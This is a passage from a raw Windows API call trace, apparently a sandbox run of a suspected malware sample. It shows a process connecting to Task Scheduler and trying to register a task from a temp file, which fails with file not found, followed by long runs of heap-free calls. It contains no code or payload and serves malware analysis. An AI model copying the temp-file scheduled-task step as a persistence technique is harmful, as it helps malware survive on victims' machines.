(lpStart="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", wMatch=0x3a) returned=":\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp" [0288.228] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.228] _memicmp (_Buf1=0x5052d0, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.228] _memicmp (_Buf1=0x505300, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.228] SetLastError (dwErrCode=0x7a) [0288.228] SetLastError (dwErrCode=0x0) [0288.229] SetLastError (dwErrCode=0x0) [0288.229] lstrlenW (lpString="C") returned 1 [0288.229] SetLastError (dwErrCode=0x490) [0288.229] SetLastError (dwErrCode=0x0) [0288.229] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.229] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.229] GetProcessHeap () returned 0x4f0000 [0288.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x64) returned 0x506328 [0288.229] SetLastError (dwErrCode=0x0) [0288.229] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.229] SetLastError (dwErrCode=0x0) [0288.229] GetProcessHeap () returned 0x4f0000 [0288.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x1fc) returned 0x506398 [0288.229] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0288.391] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0289.126] CoCreateInstance (in: rclsid=0xff230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff20fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x24cd50 | out: ppv=0x24cd50*=0x7028a0) returned 0x0 [0289.781] TaskScheduler:ITaskService:Connect (This=0x7028a0, serverName=0x24ccc0*(varType=0x8, wReserved1=0x0, wReserved2=0xcd34, wReserved3=0x24, varVal1=0x0, varVal2=0x24d610), user=0x24ccd0*(varType=0x0, wReserved1=0x24, wReserved2=0xcd58, wReserved3=0x24, varVal1=0x76b99cde, varVal2=0x24d610), domain=0x24cce0*(varType=0x0, wReserved1=0x0, wReserved2=0x1ec, wReserved3=0x0, varVal1=0xe, varVal2=0x0), password=0x24ccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x9c39, wReserved3=0x76b9, varVal1=0x6c, varVal2=0x24d790)) returned 0x0 [0289.912] TaskScheduler:IUnknown:AddRef (This=0x7028a0) returned 0x2 [0289.912] TaskScheduler:ITaskService:GetFolder (in: This=0x7028a0, Path=0x0, ppFolder=0x24cdf4 | out: ppFolder=0x24cdf4*=0x7014d8) returned 0x0 [0289.916] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6692.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0xffffffff [0289.916] GetLastError () returned 0x2 [0289.916] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x24c6e8, nSize=0x0, Arguments=0x0 | out: lpBuffer="予Q웸$鿹Ā￿￿쵤$銄ÿ⥀盃\x01\x01⍢\x01") returned 0x2c [0289.924] GetLastError () returned 0x2 [0289.924] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505580) returned 1 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505580) returned 0x2 [0289.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505580 | out: hHeap=0x4f0000) returned 1 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x5a) returned 0x514ef0 [0289.924] SetLastError (dwErrCode=0x2) [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505d28 [0289.924] _memicmp (_Buf1=0x505270, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0289.924] LoadStringW (in: hInstance=0x0, uID=0x1389, lpBuffer=0x506d08, cchBufferMax=256 | out: lpBuffer="ERROR:") returned 0x6 [0289.924] lstrlenW (lpString="ERROR:") returned 6 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0xe) returned 0x511a30 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x511a00 [0289.924] _memicmp (_Buf1=0x511a00, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0289.924] GetProcessHeap () returned 0x4f0000 [0289.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x1000) returned 0x515ad0 [0289.925] _vsnwprintf (in: _Buffer=0x515ad0, _BufferCount=0x7ff, _Format="%s ", _ArgList=0x24c6ec | out: _Buffer="ERROR: ") returned 7 [0289.925] _fileno (_File=0x76c32940) returned 2 [0289.925] _errno () returned 0x7007d8 [0289.925] _get_osfhandle (_FileHandle=2) returned 0xb [0289.925] _errno () returned 0x7007d8 [0289.925] GetFileType (hFile=0xb) returned 0x2 [0289.925] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0289.925] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24c684 | out: lpMode=0x24c684) returned 1 [0289.925] __iob_func () returned 0x76c32900 [0289.925] __iob_func () returned 0x76c32900 [0289.926] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0289.926] lstrlenW (lpString="ERROR: ") returned 7 [0289.926] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x515ad0*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x24c6ac, lpReserved=0x0 | out: lpBuffer=0x515ad0*, lpNumberOfCharsWritten=0x24c6ac*=0x7) returned 1 [0289.926] _fileno (_File=0x76c32940) returned 2 [0289.926] _errno () returned 0x7007d8 [0289.927] _get_osfhandle (_FileHandle=2) returned 0xb [0289.927] _errno () returned 0x7007d8 [0289.927] GetFileType (hFile=0xb) returned 0x2 [0289.927] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0289.927] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24c6b0 | out: lpMode=0x24c6b0) returned 1 [0289.927] __iob_func () returned 0x76c32900 [0289.927] __iob_func () returned 0x76c32900 [0289.927] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0289.927] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0289.927] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x514ef0*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x24c6d8, lpReserved=0x0 | out: lpBuffer=0x514ef0*, lpNumberOfCharsWritten=0x24c6d8*=0x2c) returned 1 [0289.928] TaskScheduler:IUnknown:Release (This=0x7014d8) returned 0x0 [0289.928] TaskScheduler:IUnknown:Release (This=0x7028a0) returned 0x1 [0289.928] lstrlenW (lpString="") returned 0 [0289.928] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0289.928] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0289.928] GetProcessHeap () returned 0x4f0000 [0289.928] GetProcessHeap () returned 0x4f0000 [0289.928] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506398) returned 1 [0289.928] GetProcessHeap () returned 0x4f0000 [0289.929] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506398) returned 0x1fc [0289.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506398 | out: hHeap=0x4f0000) returned 1 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506328) returned 1 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506328) returned 0x64 [0289.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506328 | out: hHeap=0x4f0000) returned 1 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505968) returned 1 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505968) returned 0x16 [0289.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505968 | out: hHeap=0x4f0000) returned 1 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff598) returned 1 [0289.929] GetProcessHeap () returned 0x4f0000 [0289.929] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4ff598) returned 0x10 [0289.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff598 | out: hHeap=0x4f0000) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505988) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505988) returned 0x14 [0289.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505988 | out: hHeap=0x4f0000) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506c60) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506c60) returned 0xa0 [0289.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506c60 | out: hHeap=0x4f0000) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505258) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505258) returned 0x10 [0289.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505258 | out: hHeap=0x4f0000) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.930] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505868) returned 1 [0289.930] GetProcessHeap () returned 0x4f0000 [0289.931] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505868) returned 0x14 [0289.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505868 | out: hHeap=0x4f0000) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506280) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506280) returned 0x68 [0289.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506280 | out: hHeap=0x4f0000) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505300) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505300) returned 0x10 [0289.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505300 | out: hHeap=0x4f0000) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505828) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505828) returned 0x14 [0289.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505828 | out: hHeap=0x4f0000) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052e8) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5052e8) returned 0xc [0289.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052e8 | out: hHeap=0x4f0000) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.931] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052d0) returned 1 [0289.931] GetProcessHeap () returned 0x4f0000 [0289.932] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5052d0) returned 0x10 [0289.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052d0 | out: hHeap=0x4f0000) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505808) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505808) returned 0x14 [0289.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505808 | out: hHeap=0x4f0000) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506070) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506070) returned 0x208 [0289.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506070 | out: hHeap=0x4f0000) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051f8) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5051f8) returned 0x10 [0289.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5051f8 | out: hHeap=0x4f0000) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5057c8) returned 1 [0289.932] GetProcessHeap () returned 0x4f0000 [0289.932] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5057c8) returned 0x14 [0289.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5057c8 | out: hHeap=0x4f0000) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506d08) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506d08) returned 0x200 [0289.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506d08 | out: hHeap=0x4f0000) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505270) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505270) returned 0x10 [0289.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505270 | out: hHeap=0x4f0000) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505768) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505768) returned 0x14 [0289.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505768 | out: hHeap=0x4f0000) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515ad0) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x515ad0) returned 0x1000 [0289.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515ad0 | out: hHeap=0x4f0000) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511a00) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.933] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x511a00) returned 0x10 [0289.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511a00 | out: hHeap=0x4f0000) returned 1 [0289.933] GetProcessHeap () returned 0x4f0000 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505748) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505748) returned 0x14 [0289.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505748 | out: hHeap=0x4f0000) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058e8) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5058e8) returned 0x14 [0289.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058e8 | out: hHeap=0x4f0000) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052b8) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5052b8) returned 0x10 [0289.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052b8 | out: hHeap=0x4f0000) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5056d0) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5056d0) returned 0x14 [0289.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5056d0 | out: hHeap=0x4f0000) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505928) returned 1 [0289.934] GetProcessHeap () returned 0x4f0000 [0289.934] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505928) returned 0x16 [0289.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505928 | out: hHeap=0x4f0000) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505288) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505288) returned 0x10 [0289.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505288 | out: hHeap=0x4f0000) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5056b0) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5056b0) returned 0x14 [0289.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5056b0 | out: hHeap=0x4f0000) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ef0) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x514ef0) returned 0x5a [0289.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ef0 | out: hHeap=0x4f0000) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505590) returned 1 [0289.935] GetProcessHeap () returned 0x4f0000 [0289.935] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505590) returned 0x14 [0289.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505590 | out: hHeap=0x4f0000) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055b0) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5055b0) returned 0x14 [0289.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055b0 | out: hHeap=0x4f0000) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055d0) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5055d0) returned 0x14 [0289.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055d0 | out: hHeap=0x4f0000) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055f0) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5055f0) returned 0x14 [0289.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055f0 | out: hHeap=0x4f0000) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505888) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505888) returned 0x14 [0289.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505888 | out: hHeap=0x4f0000) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058a8) returned 1 [0289.936] GetProcessHeap () returned 0x4f0000 [0289.936] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5058a8) returned 0x14 [0289.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058a8 | out: hHeap=0x4f0000) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f10) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506f10) returned 0x30 [0289.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f10 | out: hHeap=0x4f0000) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058c8) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5058c8) returned 0x14 [0289.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058c8 | out: hHeap=0x4f0000) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5062f0) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5062f0) returned 0x30 [0289.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5062f0 | out: hHeap=0x4f0000) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505948) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.937] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505948) returned 0x14 [0289.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505948 | out: hHeap=0x4f0000) returned 1 [0289.937] GetProcessHeap () returned 0x4f0000 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511a30) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x511a30) returned 0xe [0289.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511a30 | out: hHeap=0x4f0000) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505d28) returned 1 [0289.938] GetProcessHeap () returned 0x4f0000 [0289.938] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505d28) returned 0x14 [0289.938] HeapFree (in: hHeap=0x4f0000, 